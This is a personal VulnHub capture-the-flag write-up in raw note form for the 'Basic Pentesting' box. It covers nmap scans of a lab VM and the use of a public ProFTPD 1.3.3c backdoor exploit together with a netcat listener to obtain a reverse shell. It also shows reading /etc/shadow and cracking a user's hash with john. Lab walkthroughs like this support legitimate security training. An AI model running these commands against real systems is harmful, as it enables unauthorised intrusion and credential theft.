VulnHub: Basic Pentesting Writeup
I prefer to use s1ren’s template when working through a box. It gives me a nice outline and allows me to stay organized. Below is what my template lookes like after filled out. This was one of the first vulnhub boxes I completed so my notes are really bad. Also, this is my raw plaintext notes with not real formatting applied. I will be the box soon and posting my updated notes here to demonstrate the difference. At the very end I’ve also provided a list of resources and tools used on this box.
=========================================================================
192.168.158.128
Ubuntu 16.04.3 LTS
hostname: vtcsec
Guest account
no password
no sudo
guest-kpippq@vtcsec
marlinspike
─$ sudo nmap 192.168.158.128 -sT
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 08:58 EDT
Nmap scan report for 192.168.158.128
Host is up (0.0068s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
21
ProFTPD 1.3.3c Server
Anonymous login ok, send your complete email address as your password
80
Apache/2.4.18 (Ubuntu) Server at 192.168.158.128 Port 80
dirbuster \usr\share\wordlists\
22
ssh guest@ need password
======= restarted machine
└─$ sudo nmap 192.168.158.128 -sT -O -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 09:40 EDT
Nmap scan report for 192.168.158.128
Host is up (0.00078s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
=== shutdown machine ===
dirbuster taking too long
hydra taking too long against marlinspike
need vulners
sudo nmap 192.168.158.131-sCV -T4 -p-
└─$ sudo nmap 192.168.158.131 -sCV -T4 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 20:45 EDT
Nmap scan report for 192.168.158.131
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
| 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html).
MAC Address: 00:0C:29:43:6B:30 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.89 seconds
https://github.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script/blob/main/proFTPD_1.3.3c_exploit.py
started nc listener (nc -lvnp 1234)
ran proFTPD to get shell (python3 proFTPD_1.3.3c_exploit.py 192.168.158.130 192.168.158.131)
less /etc/shadow to see users and hashed passwds
used john to crack password hash (john marlinspike_hash.txt)
=========================================================================
Resources used:
s1ren’s template
s1ren’s linux priv esc cheatsheet
Tools used:
Nmap
dirbuster
searchsploit
ssh
netcat
https://github.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script/